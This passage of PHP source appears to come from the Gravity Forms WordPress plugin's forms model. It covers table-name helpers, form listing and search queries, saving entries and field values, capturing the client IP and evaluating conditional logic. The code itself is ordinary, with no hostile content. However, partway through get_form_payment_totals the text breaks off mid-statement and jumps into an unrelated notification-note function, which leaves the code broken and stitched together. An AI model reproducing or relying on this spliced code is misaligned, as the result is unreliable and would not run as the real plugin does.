ns table name, including the site's database prefix. * * @since 2.4-dev * * @return string The form revisions table name. */ public static function get_form_revisions_table_name() { global $wpdb; return $wpdb->prefix . 'gf_form_revisions'; } /** * Gets the lead (entries) table name, including the site's database prefix. * * @since Unknown * @access public * @global $wpdb * * @return string The lead (entry) table name. */ public static function get_lead_table_name() { return GF_Forms_Model_Legacy::get_lead_table_name(); } /** * Gets the lead (entry) meta table name, including the site's database prefix. * * @since Unknown * @access public * @global $wpdb * * @return string The lead (entry) meta table name. */ public static function get_lead_meta_table_name() { return GF_Forms_Model_Legacy::get_lead_meta_table_name(); } /** * Gets the lead (entry) notes table name, including the site's database prefix. * * @since Unknown * @access public * @global $wpdb * * @return string The lead (entry) notes table name. */ public static function get_lead_notes_table_name() { return GF_Forms_Model_Legacy::get_lead_notes_table_name(); } /** * Gets the lead (entry) details table name, including the site's database prefix. * * @since Unknown * @access public * @global $wpdb * * @return string The lead (entry) details table name. */ public static function get_lead_details_table_name() { return GF_Forms_Model_Legacy::get_lead_details_table_name(); } /** * Gets the lead (entry) details long table name, including the site's database prefix. * * @since Unknown * @access public * @global $wpdb * * @return string The lead (entry) details long table name. */ public static function get_lead_details_long_table_name() { return GF_Forms_Model_Legacy::get_lead_details_long_table_name(); } /** * Gets the lead (entry) view table name, including the site's database prefix. * * @since Unknown * @access public * @global $wpdb * * @return string The lead (entry) view table name. */ public static function get_lead_view_name() { return GF_Forms_Model_Legacy::get_lead_view_name(); } /** * Gets the incomplete submissions table name, including the site's database prefix. * * @since Unknown * @access public * @global $wpdb * * @return string he incomplete submissions table name. */ public static function get_incomplete_submissions_table_name() { return GF_Forms_Model_Legacy::get_incomplete_submissions_table_name(); } /** * Gets the entry table name, including the site's database prefix * * @access public * @static * @global $wpdb * * @return string The entry table name */ public static function get_entry_table_name() { global $wpdb; return $wpdb->prefix . 'gf_entry'; } /** * Gets the entry meta table name, including the site's database prefix * * @access public * @static * @global $wpdb * * @return string The entry meta table name */ public static function get_entry_meta_table_name() { global $wpdb; return $wpdb->prefix . 'gf_entry_meta'; } /** * Gets the lead (entry) notes table name, including the site's database prefix * * @access public * @static * @global $wpdb * * @return string The lead (entry) notes table name */ public static function get_entry_notes_table_name() { global $wpdb; return $wpdb->prefix . 'gf_entry_notes'; } /** * Gets the draft submissions table name, including the site's database prefix * * @access public * @static * @global $wpdb * * @return string The draft submissions table name */ public static function get_draft_submissions_table_name() { global $wpdb; return $wpdb->prefix . 'gf_draft_submissions'; } /** * Gets the REST API Key table name, including the site's database prefix * * @access public * @static * @global $wpdb * * @return string The REST API Keys submissions table name */ public static function get_rest_api_keys_table_name() { global $wpdb; return $wpdb->prefix . 'gf_rest_api_keys'; } /** * Gets all forms. * * @since Unknown * @access public * @global $wpdb * * @uses GFFormsModel::get_form_table_name() * @uses GFFormsModel::get_form_db_columns() * @uses GFFormsModel::get_entry_count_per_form() * @uses GFFormsModel::get_view_count_per_form() * * @param bool $is_active Optional. Defines if inactive forms should be displayed. Defaults to null. * @param string $sort_column Optional. The column to be used for sorting the forms. Defaults to 'title'. * @param string $sort_dir Optional. Defines the direction that sorting should occur. Defaults to 'ASC' (ascending). Use 'DESC' for descending. * @param bool $is_trash Optional. Defines if forms within the trash should be displayed. Defaults to false. * * @return array $forms All forms found. */ public static function get_forms( $is_active = null, $sort_column = 'title', $sort_dir = 'ASC', $is_trash = false ) { global $wpdb; $form_table_name = self::get_form_table_name(); $where_arr = array(); $where_arr[] = $wpdb->prepare( 'is_trash=%d', $is_trash ); if ( $is_active !== null ) { $where_arr[] = $wpdb->prepare( 'is_active=%d', $is_active ); } $where_clause = 'WHERE ' . join( ' AND ', $where_arr ); $sort_keyword = $sort_dir == 'ASC' ? 'ASC' : 'DESC'; $db_columns = self::get_form_db_columns(); if ( ! in_array( strtolower( $sort_column ), $db_columns ) ) { $sort_column = 'title'; } $order_by = ! empty( $sort_column ) ? "ORDER BY $sort_column $sort_keyword" : ''; $sql = "SELECT f.id, f.title, f.date_created, f.is_active, 0 as entry_count, 0 view_count FROM $form_table_name f $where_clause $order_by"; //Getting all forms $forms = $wpdb->get_results( $sql ); //Getting entry count per form $entry_count = self::get_entry_count_per_form(); //Getting view count per form $view_count = self::get_view_count_per_form(); //Adding entry counts and to form array foreach ( $forms as &$form ) { foreach ( $view_count as $count ) { if ( $count->form_id == $form->id ) { $form->view_count = $count->view_count; break; } } foreach ( $entry_count as $count ) { if ( $count->form_id == $form->id ) { $form->entry_count = $count->entry_count; break; } } } return $forms; } /** * Searches form titles based on query. * * @access public * @static * @global $wpdb * @see GFFormsModel::get_form_table_name * @see GFFormsModel::get_form_db_columns * @see GFFormsModel::get_entry_count_per_form * @see GFFormsModel::get_view_count_per_form * * @param string $query Optional. The query to search. * @param bool $is_active Optional. Defines if inactive forms should be displayed. Defaults to null. * @param string $sort_column Optional. The column to be used for sorting the forms. Defaults to 'title'. * @param string $sort_dir Optional. Defines the direction that sorting should occur. Defaults to 'ASC' (ascending). Use 'DESC' for descending. * @param bool $is_trash Optional. Defines if forms within the trash should be displayed. Defaults to false. * * @return array $forms All forms found. */ public static function search_forms( $query = '', $is_active = null, $sort_column = 'title', $sort_dir = 'ASC', $is_trash = false ) { global $wpdb; $form_table_name = self::get_form_table_name(); $where_arr = array(); $where_arr[] = $wpdb->prepare( 'is_trash=%d', $is_trash ); if ( $is_active !== null ) { $where_arr[] = $wpdb->prepare( 'is_active=%d', $is_active ); } if ( ! rgblank( $query ) ) { $where_arr[] = $wpdb->prepare( 'title LIKE %s', '%' . $query . '%' ); } $where_clause = 'WHERE ' . join( ' AND ', $where_arr ); $sort_keyword = $sort_dir == 'ASC' ? 'ASC' : 'DESC'; $db_columns = self::get_form_db_columns(); if ( ! in_array( strtolower( $sort_column ), $db_columns ) ) { $sort_column = 'title'; } $order_by = ! empty( $sort_column ) ? "ORDER BY $sort_column $sort_keyword" : ''; $sql = "SELECT f.id, f.title, f.date_created, f.is_active, 0 as entry_count, 0 view_count FROM $form_table_name f $where_clause $order_by"; //Getting all forms $forms = $wpdb->get_results( $sql ); //Getting entry count per form $entry_count = self::get_entry_count_per_form(); //Getting view count per form $view_count = self::get_view_count_per_form(); //Adding entry counts and to form array foreach ( $forms as &$form ) { foreach ( $view_count as $count ) { if ( $count->form_id == $form->id ) { $form->view_count = $count->view_count; break; } } foreach ( $entry_count as $count ) { if ( $count->form_id == $form->id ) { $form->entry_count = $count->entry_count; break; } } } return $forms; } /** * Gets the number of entries per form. * * First attempts to read from cache. If unavailable, gets the entry count, caches it, and returns it. * * @since Unknown * @access public * @global $wpdb * * @uses GFFormsModel::get_lead_table_name() * @uses GFCache::get() * @uses GFCache::set() * * @return array $entry_count Array of forms, containing the form ID and the entry count */ public static function get_entry_count_per_form() { if ( version_compare( self::get_database_version(), '2.3-dev-1', '<' ) ) { return GF_Forms_Model_Legacy::get_entry_count_per_form(); } global $wpdb; $entry_table_name = self::get_entry_table_name(); $entry_count = GFCache::get( 'get_entry_count_per_form' ); if ( empty( $entry_count ) ) { //Getting entry count per form $sql = "SELECT form_id, count(id) as entry_count FROM $entry_table_name l WHERE status='active' GROUP BY form_id"; $entry_count = $wpdb->get_results( $sql ); GFCache::set( 'get_entry_count_per_form', $entry_count, true, 30 ); } return $entry_count; } /** * Gets the number of views per form * * Checks the cache first. If not there, gets the count from the database, stores it in the cache, and returns it. * * @since Unknown * @access public * @global $wpdb * * @uses GFFormsModel::get_form_view_table_name() * @uses GFCache::get() * @uses GFCache::set() * * @return array $view_count Array of forms, containing the form ID and the view count */ public static function get_view_count_per_form() { global $wpdb; $view_table_name = self::get_form_view_table_name(); $view_count = GFCache::get( 'get_view_count_per_form' ); if ( empty( $view_count ) ){ $sql = "SELECT form_id, sum(count) as view_count FROM $view_table_name GROUP BY form_id"; $view_count = $wpdb->get_results( $sql ); GFCache::set( 'get_view_count_per_form', $view_count, true, 30 ); } return $view_count; } /** * Returns the form database columns. * * @since Unknown * @access public * * @return array The column IDs */ public static function get_form_db_columns() { return array( 'id', 'title', 'date_created', 'is_active', 'is_trash' ); } /** * Gets the payment totals for a particular form ID. * * @since Unknown * @access public * @global $wpdb * * @uses GFFormsModel::get_lead_table_name() * * @param int $form_id The form ID to get payment totals for. * * @return array $totals The payment totals found. */ public static function get_form_payment_totals( $form_id ) { global $wpdb; $entry_table_name = version_compare( self::get_database_version(), '2.3-dev-1', '<' ) ? self::get_lead_table_name() : self::get_entry_table_name(); $sql = $wpdb->prepare( " SELECT sum(payment_amount) revenue, count(l.id) orders FROM $entry_table_name l WHERE form_id=%d AND payment_amount IS NOT null", $form_id ); $totals = $wpdb->get_row( $sql, ARRAY_A ); $active = $wpdb->get_var( $wpdb->prepare( " SELECT count(id) as active FROM $entry_table_name WHERE form_id=%d AND payment_status='Active'", $form_id ) ); if ( empty( $active ) ) { d ) ) { return; } // If $note_args is empty, use default arguments for Gravity Forms core notifications. if ( empty( $note_args ) ) { if ( $result === true ) { $note_args['type'] = 'notification'; $note_args['subtype'] = 'success'; $note_args['text'] = esc_html__( 'WordPress successfully passed the notification email to the sending server.', 'gravityforms' ); } elseif ( $result === false ) { $note_args['type'] = 'notification'; $note_args['subtype'] = 'error'; $note_args['text'] = esc_html__( 'WordPress was unable to send the notification email.', 'gravityforms' ); // Add additional error message if any. if ( ! empty( $error_info ) ) { $note_args['text'] .= PHP_EOL . $error_info; } } } /** * Allow customization of the Sending Result Note. * * @param array $note_args Array containing text, type and subtype for the note. * @param int $entry_id Id number for entry being processed. * @param bool $result The result returned by wp_mail(). * @param array $notification The notification properties. * @param string $error_info Additional details for notifications with error. * @param array $email Array containing email details. */ $note_args = apply_filters( 'gform_notification_note', $note_args, $entry_id, $result, $notification, $error_info, $email ); if ( ! empty( $note_args['text'] ) ) { // translators: Notification name followed by its ID. e.g. Admin Notification (ID: 5d4c0a2a37204). self::add_note( $entry_id, 0, sprintf( esc_html__( '%1$s (ID: %2$s)', 'gravityforms' ), $notification['name'], $notification['id'] ), $note_args['text'], $note_args['type'], $note_args['subtype'] ); } } /** * Gets the IP to be used within the entry. * * @since 2.2 Using $_SERVER['REMOTE_ADDR']. * * @return string The IP to be stored in the entry. */ public static function get_ip() { $ip = rgar( $_SERVER, 'REMOTE_ADDR' ); /** * Allows the IP address of the client to be modified. * * Use this filter if the server is behind a proxy. * * @since 2.2 * @example https://docs.gravityforms.com/gform_ip_address/ * * @param string $ip The IP being used. */ $ip = apply_filters( 'gform_ip_address', $ip ); // HTTP_X_FORWARDED_FOR can return a comma separated list of IPs; use the first one $ips = explode( ',', $ip ); return $ips[0]; } public static function save_lead( $form, &$entry ) { self::save_entry( $form, $entry ); } /** * Save Entry to database. * * @since 2.4.8.13 Updated created_by property to save as an empty value when undefined. * @since Unknown * * @param array $form Form object. * @param array $entry Entry object. */ public static function save_entry( $form, &$entry ) { global $wpdb, $current_user; if ( version_compare( self::get_database_version(), '2.3-dev-1', '<' ) ) { GF_Forms_Model_Legacy::save_lead( $form, $entry ); $entry = GFAPI::get_entry( $entry['id'] ); return; } GFCommon::log_debug( __METHOD__ . '(): Saving entry.' ); $is_form_editor = GFCommon::is_form_editor(); $is_entry_detail = GFCommon::is_entry_detail(); $is_admin = $is_form_editor || $is_entry_detail; if ( $is_admin && ! GFCommon::current_user_can_any( 'gravityforms_edit_entries' ) ) { wp_die( esc_html__( "You don't have adequate permission to edit entries.", 'gravityforms' ) ); } $entry_meta_table = self::get_entry_meta_table_name(); $is_new_lead = empty( $entry ); // Log user login for user updating the entry if ( ! $is_new_lead && ! empty( $entry['id'] ) && ! empty( $current_user->ID ) ) { GFCommon::log_debug( __METHOD__ . "(): User ID {$current_user->ID} requested update of entry #{$entry['id']}." ); } if ( ! $is_new_lead && ! self::entry_exists( rgar( $entry, 'id' ) ) ) { // Force a new entry to be saved when an entry does not exist for the supplied id. $entry = array(); $is_new_lead = true; } $die_message = esc_html__( 'An error prevented the entry for this form submission being saved. Please contact support.', 'gravityforms' ); $entry_table = GFFormsModel::get_entry_table_name(); $current_date = $wpdb->get_var( 'SELECT utc_timestamp()' ); if ( $is_new_lead ) { // Saving the new entry. $user_id = $current_user && $current_user->ID ? $current_user->ID : null; $user_agent = self::truncate( rgar( $_SERVER, 'HTTP_USER_AGENT' ), 250 ); $user_agent = sanitize_text_field( $user_agent ); $source_url = self::truncate( self::get_current_page_url(), 200 ); /** * Allow the currency code to be overridden. * * @param string $currency The three character ISO currency code to be stored in the entry. Default is value returned by GFCommon::get_currency() * @param array $form The form currently being processed. * */ $currency = gf_apply_filters( array( 'gform_currency_pre_save_entry', $form['id'] ), GFCommon::get_currency(), $form ); $ip = rgars( $form, 'personalData/preventIP' ) ? '' : self::get_ip(); $wpdb->insert( $entry_table, array( 'form_id' => $form['id'], 'ip' => $ip, 'source_url' => $source_url, 'date_created' => $current_date, 'date_updated' => $current_date, 'user_agent' => $user_agent, 'currency' => $currency, 'created_by' => $user_id, ), array( 'form_id' => '%d', 'ip' => '%s', 'source_url' => '%s', 'date_created' => '%s', 'date_updated' => '%s', 'user_agent' => '%s', 'currency' => '%s', 'created_by' => '%s', ) ); // Reading newly created lead id $lead_id = $wpdb->insert_id; if ( $lead_id == 0 ) { GFCommon::log_error( __METHOD__ . '(): Unable to save entry. ' . $wpdb->last_error ); wp_die( $die_message ); } $entry = array( 'id' => (string) $lead_id, 'status' => 'active', 'form_id' => (string) $form['id'], 'ip' => $ip, 'source_url' => $source_url, 'currency' => $currency, 'post_id' => null, 'date_created' => $current_date, 'date_updated' => $current_date, 'is_starred' => 0, 'is_read' => 0, 'user_agent' => $user_agent, 'payment_status' => null, 'payment_date' => null, 'payment_amount' => null, 'payment_method' => '', 'transaction_id' => null, 'is_fulfilled' => null, 'created_by' => (string) $user_id, 'transaction_type' => null, ); GFCommon::log_debug( __METHOD__ . "(): Entry record created in the database. ID: {$lead_id}." ); } else { GFCommon::log_debug( __METHOD__ . "(): Updating existing entry. ID: {$entry['id']}." ); // Ensures the entry being updated contains all the current properties and registered meta. self::add_properties_to_entry( $entry ); self::add_meta_to_entry( $entry ); GFAPI::update_entry_property( $entry['id'], 'date_updated', $current_date ); $entry['date_updated'] = $current_date; } $current_fields = $wpdb->get_results( $wpdb->prepare( "SELECT id, meta_key, item_index FROM $entry_meta_table WHERE entry_id=%d", $entry['id'] ) ); $total_fields = array(); /* @var $calculation_fields GF_Field[] */ $calculation_fields = array(); $recalculate_total = false; GFCommon::log_debug( __METHOD__ . '(): Saving entry fields.' ); GFFormsModel::begin_batch_field_operations(); foreach ( $form['fields'] as $field ) { /* @var $field GF_Field */ // ignore the honeypot field if ( $field->type == 'honeypot' ) { continue; } //Ignore fields that are marked as display only if ( $field->displayOnly ) { continue; } // Ignore pricing fields in the entry detail if ( $is_entry_detail && GFCommon::is_pricing_field( $field->type ) ) { continue; } // Process total field after all fields have been saved if ( $field->type == 'total' ) { $total_fields[] = $field; continue; } /** * Specify whether to fetch values from the $_POST when evaluating a field's conditional logic. Defaults to true * for new entries and false for existing entries. * * @since 2.3.1.11 * * @param bool $read_value_from_post Should value be fetched from $_POST? * @param array $form The current form object. * @param array $entry The current entry object. */ $read_value_from_post = gf_apply_filters( array( 'gform_use_post_value_for_conditional_logic_save_entry', $form['id'] ), $is_new_lead || ! isset( $entry[ 'date_created' ] ), $form, $entry ); // Only save fields that are not hidden (except when updating an entry) if ( $is_entry_detail || ! GFFormsModel::is_field_hidden( $form, $field, array(), $read_value_from_post ? null : $entry ) ) { // process calculation fields after all fields have been saved (moved after the is hidden check) if ( $field->has_calculation() ) { $calculation_fields[] = $field; continue; } if ( $field->type == 'post_category' ) { $field = GFCommon::add_categories_as_choices( $field, '' ); } $inputs = $field->get_entry_inputs(); if ( is_array( $inputs ) ) { foreach ( $inputs as $input ) { self::save_input( $form, $field, $entry, $current_fields, $input['id'] ); } } else { self::save_input( $form, $field, $entry, $current_fields, $field->id ); } } } $results = GFFormsModel::commit_batch_field_operations(); if ( $is_new_lead && is_wp_error( $results['inserts'] ) ) { /* @var WP_Error $error */ $error = $results['inserts']; GFCommon::log_error( __METHOD__ . '(): Error while saving field values for new entry. ' . $error->get_error_message() ); wp_die( $die_message ); } if ( ! empty( $calculation_fields ) ) { GFFormsModel::begin_batch_field_operations(); foreach ( $calculation_fields as $calculation_field ) { $inputs = $calculation_field->get_entry_inputs(); if ( is_array( $inputs ) ) { foreach ( $inputs as $input ) { self::save_input( $form, $calculation_field, $entry, $current_fields, $input['id'] ); } } else { self::save_input( $form, $calculation_field, $entry, $current_fields, $calculation_field->id ); } } $results = GFFormsModel::commit_batch_field_operations(); if ( $is_new_lead && is_wp_error( $results['inserts'] ) ) { /* @var WP_Error $error */ $error = $results['inserts']; GFCommon::log_error( __METHOD__ . '(): Error while saving calculation field values for new entry. ' . $error->get_error_message() ); wp_die( $die_message ); } self::refresh_product_cache( $form, $entry ); } //saving total field as the last field of the form. if ( ! empty( $total_fields ) ) { GFFormsModel::begin_batch_field_operations(); foreach ( $total_fields as $total_field ) { self::save_input( $form, $total_field, $entry, $current_fields, $total_field->id ); } $results = GFFormsModel::commit_batch_field_operations(); if ( $is_new_lead && is_wp_error( $results['inserts'] ) ) { /* @var WP_Error $error */ $error = $results['inserts']; GFCommon::log_error( __METHOD__ . '(): Error while saving total field values for new entry. ' . $error->get_error_message() ); wp_die( $die_message ); } } foreach ( $form['fields'] as $field ) { /* @var GF_Field $field */ if ( $field->displayOnly ) { continue; } $inputs = $field->get_entry_inputs(); if ( is_array( $inputs ) ) { foreach ( $inputs as $input ) { $entry[ (string) $input['id'] ] = gf_apply_filters( array( 'gform_get_input_value', $form['id'], $field->id, $input['id'] ), rgar( $entry, (string) $input['id'] ), $entry, $field, $input['id'] ); } } else { $value = rgar( $entry, (string) $field->id ); if ( GFFormsModel::is_openssl_encrypted_field( $entry['id'], $field->id ) ) { $value = GFCommon::openssl_decrypt( $value ); } $entry[ (string) $field->id ] = gf_apply_filters( array( 'gform_get_input_value', $form['id'], $field->id ), $value, $entry, $field, '' ); } } self::hydrate_repeaters( $entry, $form ); GFCommon::log_debug( __METHOD__ . '(): Finished saving entry fields.' ); } /** * Populates the supplied entry with missing properties. * * @since 2.4.5.8 * * @param array $entry The partial or complete entry currently being updated. */ public static function add_properties_to_entry( &$entry ) { if ( empty( $entry['id'] ) ) { return; } global $wpdb; $entry_table = GFFormsModel::get_entry_table_name(); $sql = $wpdb->prepare( "SELECT * FROM $entry_table WHERE id=%d", $entry['id'] ); $properties = $wpdb->get_row( $sql, ARRAY_A ); foreach ( $properties as $key => $property ) { if ( ! isset( $entry[ (string) $key ] ) ) { // Add the missing entry property. $entry[ (string) $key ] = $properties[ $key ]; } } } /** * Populates the supplied entry with missing meta. * * @since 2.4.5.8 * * @param array $entry The partial or complete entry currently being updated. */ public static function add_meta_to_entry( &$entry ) { if ( empty( $entry['id'] ) || empty( $entry['form_id'] ) ) { return; } $meta_keys = array_keys( self::get_entry_meta( $entry['form_id'] ) ); foreach ( $meta_keys as $meta_key ) { if ( ! isset( $entry[ $meta_key ] ) ) { // Add the missing entry meta. $entry[ $meta_key ] = gform_get_meta( $entry['id'], $meta_key ); } } } public static function hydrate_repeaters( &$entry, $form ) { $fields = $form['fields']; foreach( $fields as $field ) { if ( $field instanceof GF_Field_Repeater && isset( $field->fields ) && is_array( $field->fields ) ) { /* @var GF_Field_Repeater $field */ $entry = $field->hydrate( $entry, $form ); } } } public static function create_lead( $form ) { global $current_user; $total_fields = array(); $calculation_fields = array(); $lead = array(); $lead['id'] = null; $lead['post_id'] = null; $lead['date_created'] = null; $lead['date_updated'] = null; $lead['form_id'] = $form['id']; $lead['ip'] = rgars( $form, 'personalData/preventIP' ) ? '' : self::get_ip(); $source_url = self::truncate( self::get_current_page_url(), 200 ); $lead['source_url'] = esc_url_raw( $source_url ); $user_agent = self::truncate( rgar( $_SERVER, 'HTTP_USER_AGENT' ), 250 ); $lead['user_agent'] = sanitize_text_field( $user_agent ); $lead['created_by'] = $current_user && $current_user->ID ? $current_user->ID : 'NULL'; /** * Allow the currency code to be overridden. * * @param string $currency The three character ISO currency code to be stored in the entry. Default is value returned by GFCommon::get_currency() * @param array $form The form currently being processed. * */ $lead['currency'] = gf_apply_filters( array( 'gform_currency_pre_save_entry', $form['id'] ), GFCommon::get_currency(), $form ); foreach ( $form['fields'] as $field ) { /* @var $field GF_Field */ // ignore fields that are marked as display only if ( $field->displayOnly ) { continue; } // process total field after all fields have been saved if ( $field->type == 'total' ) { $total_fields[] = $field; continue; } // process calculation fields after all fields have been saved if ( $field->has_calculation() ) { $calculation_fields[] = $field; continue; } // only save fields that are not hidden if ( ! RGFormsModel::is_field_hidden( $form, $field, array() ) ) { if ( $field->type == 'post_category' ) { $field = GFCommon::add_categories_as_choices( $field, '' ); } $inputs = $field->get_entry_inputs(); if ( is_array( $inputs ) ) { foreach ( $inputs as $input ) { $lead[ (string) $input['id'] ] = self::get_prepared_input_value( $form, $field, $lead, $input['id'] ); } } else { $lead[ $field->id ] = self::get_prepared_input_value( $form, $field, $lead, $field->id ); } } } if ( ! empty( $calculation_fields ) ) { foreach ( $calculation_fields as $field ) { /* @var $field GF_Field */ // only save fields that are not hidden if ( RGFormsModel::is_field_hidden( $form, $field, array() ) ) { continue; } $inputs = $field->get_entry_inputs(); if ( is_array( $inputs ) ) { foreach ( $inputs as $input ) { $lead[ (string) $input['id'] ] = self::get_prepared_input_value( $form, $field, $lead, $input['id'] ); } } else { $lead[ $field->id ] = self::get_prepared_input_value( $form, $field, $lead, $field->id ); } } self::refresh_product_cache( $form, $lead ); } // saving total field as the last field of the form. if ( ! empty( $total_fields ) ) { foreach ( $total_fields as $total_field ) { $lead[ $total_field->id ] = self::get_prepared_input_value( $form, $total_field, $lead, $total_field->id ); } } return $lead; } public static function get_prepared_input_value( $form, $field, $lead, $input_id ) { $input_name = 'input_' . str_replace( '.', '_', $input_id ); if ( $field->enableCopyValuesOption && rgpost( 'input_' . $field->id . '_copy_values_activated' ) ) { $source_field_id = $field->copyValuesOptionField; $source_input_name = str_replace( 'input_' . $field->id, 'input_' . $source_field_id, $input_name ); $value = rgpost( $source_input_name ); } else { $value = rgpost( $input_name ); } $value = self::maybe_trim_input( $value, $form['id'], $field ); $is_form_editor = GFCommon::is_form_editor(); $is_entry_detail = GFCommon::is_entry_detail(); $is_admin = $is_form_editor || $is_entry_detail; if ( empty( $value ) && $field->is_administrative() && ! $is_admin ) { $value = self::get_default_value( $field, $input_id ); } switch ( self::get_input_type( $field ) ) { case 'post_image': $file_info = self::get_temp_filename( $form['id'], $input_name ); if ( ! empty( $file_info ) ) { $file_path = self::get_file_upload_path( $form['id'], $file_info['uploaded_filename'] ); $url = $file_path['url']; $image_title = isset( $_POST[ "{$input_name}_1" ] ) ? strip_tags( $_POST[ "{$input_name}_1" ] ) : ''; $image_caption = isset( $_POST[ "{$input_name}_4" ] ) ? strip_tags( $_POST[ "{$input_name}_4" ] ) : ''; $image_description = isset( $_POST[ "{$input_name}_7" ] ) ? strip_tags( $_POST[ "{$input_name}_7" ] ) : ''; $value = ! empty( $url ) ? $url . '|:|' . $image_title . '|:|' . $image_caption . '|:|' . $image_description : ''; } break; case 'fileupload' : if ( $field->multipleFiles ) { if ( ! empty( $value ) ) { $value = json_encode( $value ); } } else { $file_info = self::get_temp_filename( $form['id'], $input_name ); if ( ! empty( $file_info ) ) { $file_path = self::get_file_upload_path( $form['id'], $file_info['uploaded_filename'] ); $value = $file_path['url']; } } break; default: // processing values so that they are in the correct format for each input type $value = self::prepare_value( $form, $field, $value, $input_name, rgar( $lead, 'id' ), $lead ); } return gf_apply_filters( array( 'gform_save_field_value', $form['id'], $field->id ), $value, $lead, $field, $form, $input_id ); } public static function refresh_product_cache( $form, $lead, $use_choice_text = false, $use_admin_label = false ) { $cache_options = array( array( false, false ), array( false, true ), array( true, false ), array( true, true ), ); foreach ( $cache_options as $cache_option ) { list( $use_choice_text, $use_admin_label ) = $cache_option; if ( gform_get_meta( rgar( $lead, 'id' ), "gform_product_info_{$use_choice_text}_{$use_admin_label}" ) ) { gform_delete_meta( rgar( $lead, 'id' ), "gform_product_info_{$use_choice_text}_{$use_admin_label}" ); GFCommon::get_product_fields( $form, $lead, $use_choice_text, $use_admin_label ); } } } /** * Check whether a field is hidden via conditional logic. * * @param array $form Form object. * @param GF_Field $field Field object. * @param array $field_values Default field values for this form. Used when form has not yet been submitted. Pass an array if no default field values are available/required. * @param array $lead Optional, default is null. If lead object is available, pass the lead. * * @return mixed */ public static function is_field_hidden( $form, $field, $field_values, $lead = null ) { if ( empty( $field ) ) { return false; } $cache_key = 'GFFormsModel::is_field_hidden_' . $form['id'] . '_' . $field->id; if ( ! empty( $lead ) && isset( $lead['id'] ) ) { // Make sure that we cache field visiblity on a per-entry basis // https://github.com/gravityview/GravityView/issues/1307 $cache_key = $cache_key . '_' . $lead['id']; } $display = GFCache::get( $cache_key, $is_hit, false ); if ( $display !== false ) { return $display; } $section = self::get_section( $form, $field->id ); $section_display = self::get_field_display( $form, $section, $field_values, $lead ); //if section is hidden, hide field no matter what. if section is visible, see if field is supposed to be visible if ( $section_display == 'hide' ) { $display = 'hide'; } else if ( self::is_page_hidden( $form, $field->pageNumber, $field_values, $lead ) ) { $display = 'hide'; } else { $display = self::get_field_display( $form, $field, $field_values, $lead ); return $display == 'hide'; } GFCache::set( $cache_key, $display ); return $display == 'hide'; } /*** * Determines if the submit button was supposed to be hidden by conditional logic. This function helps ensure that * the form doesn't get submitted when the submit button is hidden by conditional logic. * * @param $form The Form object * * @return bool Returns true if the submit button is hidden by conditional logic, false otherwise. */ public static function is_submit_button_hidden( $form ) { if( ! isset( $form['button']['conditionalLogic'] ) ){ return false; } $is_visible = self::evaluate_conditional_logic( $form, $form['button']['conditionalLogic'], array() ); return ! $is_visible; } public static function is_page_hidden( $form, $page_number, $field_values, $lead = null ) { $page = self::get_page_by_number( $form, $page_number ); if ( ! $page ) { return false; } $display = self::get_field_display( $form, $page, $field_values, $lead ); return $display == 'hide'; } public static function get_page_by_number( $form, $page_number ) { foreach ( $form['fields'] as $field ) { if ( $field->type == 'page' && $field->pageNumber == $page_number ) { return $field; } } return null; } //gets the section that the specified field belongs to, or null if none public static function get_section( $form, $field_id ) { $current_section = null; foreach ( $form['fields'] as $field ) { if ( $field->type == 'section' ) { $current_section = $field; } //stop section at a page break (sections don't go cross page) if ( $field->type == 'page' ) { $current_section = null; } if ( $field->id == $field_id ) { return $current_section; } } return null; } /** * Determines if the field value matches the conditional logic rule value. * * @param mixed $field_value The field value to be checked. * @param mixed $target_value The conditional logic rule value. * @param string $operation The conditional logic rule operator. * @param null|GF_Field $source_field The field the rule is based on. * @param null|array $rule The conditional logic rule properties. * @param null|array $form The current form. * * @return bool */ public static function is_value_match( $field_value, $target_value, $operation = 'is', $source_field = null, $rule = null, $form = null ) { $is_match = false; if ( $source_field && is_subclass_of( $source_field, 'GF_Field' ) ) { if ( $source_field->type == 'post_category' ) { $field_value = GFCommon::prepare_post_category_value( $field_value, $source_field, 'conditional_logic' ); } elseif ( $source_field instanceof GF_Field_MultiSelect && ! empty( $field_value ) && ! is_array( $field_value ) ) { // Convert the comma-delimited string into an array. $field_value = $source_field->to_array( $field_value ); } elseif ( $source_field->get_input_type() != 'checkbox' && is_array( $field_value ) && $source_field->id != $rule['fieldId'] && is_array( $source_field->get_entry_inputs() ) ) { // Get the specific input value from the full field value. $field_value = rgar( $field_value, $rule['fieldId'] ); } } $form_id = $source_field instanceof GF_Field ? $source_field->formId : 0; $target_value = GFFormsModel::maybe_trim_input( $target_value, $form_id, $source_field ); if ( is_array( $field_value ) ) { $field_value = array_values( $field_value ); // Returning array values, ignoring keys if array is associative. $match_count = 0; foreach ( $field_value as $val ) { $val = GFFormsModel::maybe_trim_input( GFCommon::get_selection_value( $val ), $form_id, $source_field ); if ( self::matches_operation( $val, $target_value, $operation ) ) { $match_count ++; } } // If operation is Is Not, none of the values in the array can match the target value. $is_match = $operation == 'isnot' ? $match_count == count( $field_value ) : $match_count > 0; } else if ( self::matches_operation( GFFormsModel::maybe_trim_input( GFCommon::get_selection_value( $field_value ), $form_id, $source_field ), $target_value, $operation ) ) { $is_match = true; } return apply_filters( 'gform_is_value_match', $is_match, $field_value, $target_value, $operation, $source_field, $rule ); } private static function try_convert_float( $text ) { /* global $wp_locale; $number_format = $wp_locale->number_format['decimal_point'] == ',' ? 'decimal_comma' : 'decimal_dot'; if ( is_numeric( $text ) && $number_format == 'decimal_comma' ) { return GFCommon::format_number( $text, 'decimal_comma' ); } else if ( GFCommon::is_numeric( $text, $number_format ) ) { return GFCommon::clean_number( $text, $number_format ); } */ $number_format = 'decimal_dot'; if ( GFCommon::is_numeric( $text, $number_format ) ) { return GFCommon::clean_number( $text, $number_format ); } return 0; } public static function matches_operation( $val1, $val2, $operation ) { $val1 = ! rgblank( $val1 ) ? strtolower( $val1 ) : ''; $val2 = ! rgblank( $val2 ) ? strtolower( $val2 ) : ''; switch ( $operation ) { case 'is' : return $val1 == $val2; break; case 'isnot' : return $val1 != $val2; break; case 'greater_than': case '>' : $val1 = self::try_convert_float( $val1 ); $val2 = self::try_convert_float( $val2 ); return $val1 > $val2; break; case 'less_than': case '<' : $val1 = self::try_convert_float( $val1 ); $val2 = self::try_convert_float( $val2 ); return $val1 < $val2; break; case 'contains' : return ! rgblank( $val2 ) && strpos( $val1, $val2 ) !== false; break; case 'starts_with' : return ! rgblank( $val2 ) && strpos( $val1, $val2 ) === 0; break; case 'ends_with' : // If target value is a 0 set $val2 to 0 rather than the empty string it currently is to prevent false positives. if ( empty( $val2 ) ) { $val2 = '0'; } $start = strlen( $val1 ) - 